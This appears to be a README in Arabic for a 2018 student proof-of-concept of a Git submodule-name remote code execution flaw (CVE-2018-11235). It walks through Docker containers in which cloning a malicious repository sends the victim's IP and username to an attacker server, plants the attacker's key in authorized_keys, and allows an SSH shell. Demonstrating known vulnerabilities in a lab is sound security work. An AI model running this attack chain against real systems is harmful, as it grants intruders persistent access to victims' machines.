
إثبات المفهوم - استغلال RCE : ثغرة أسماء الوحدات الفرعية في Git - Ensimag نوفمبر 2018
لبناء حاويات الدوكر، استخدم:
make docker
(يجب تشغيل أوامر make التالية بالتوازي على أجهزة طرفية مختلفة من جهازك)
لبدء تشغيل حاوية الخادم المهاجم، استخدم:
make run_server
لبدء تشغيل الحاوية التي تمثل الضحية، استخدم:
make run_client
ستقوم الحاوية بتشغيل السكربت client.py. سيقوم السكربت بإرسال عنوان IP الخاص به واسم المستخدم إلى المهاجم.
اتبع تعليمات وحدة تحكم العملاء لاستنساخ مستودع git الخبيث.
git clone --recurse-submodules root@server:home/poc/malicious_repo client_pwned
ستلاحظ أن عنوان IP واسم مستخدم الضحية يتم إرسالهما إلى الخادم.
بعد الاستنساخ، تحقق من أن المفتاح العام للمهاجمين قد أُضيف بشكل صحيح إلى authorized_keys الخاصة بالعميل.
بعد ذلك، يمكنك فتح شل على العميل من الخادم باستخدام الأمر التالي (لتنفيذه على جهازك):
make server_bash
ssh <transmitted_username>@<transmitted_host>
إذا واجهت أي مشاكل من أي نوع لتنفيذ هذا الإثبات المفاهيمي (Proof of Concept)، فيرجى إنشاء issue على هذا المستودع: https://github.com/ygouzerh/CVE-2018-11235/issues ، وسنرد عليك في أسرع وقت ممكن.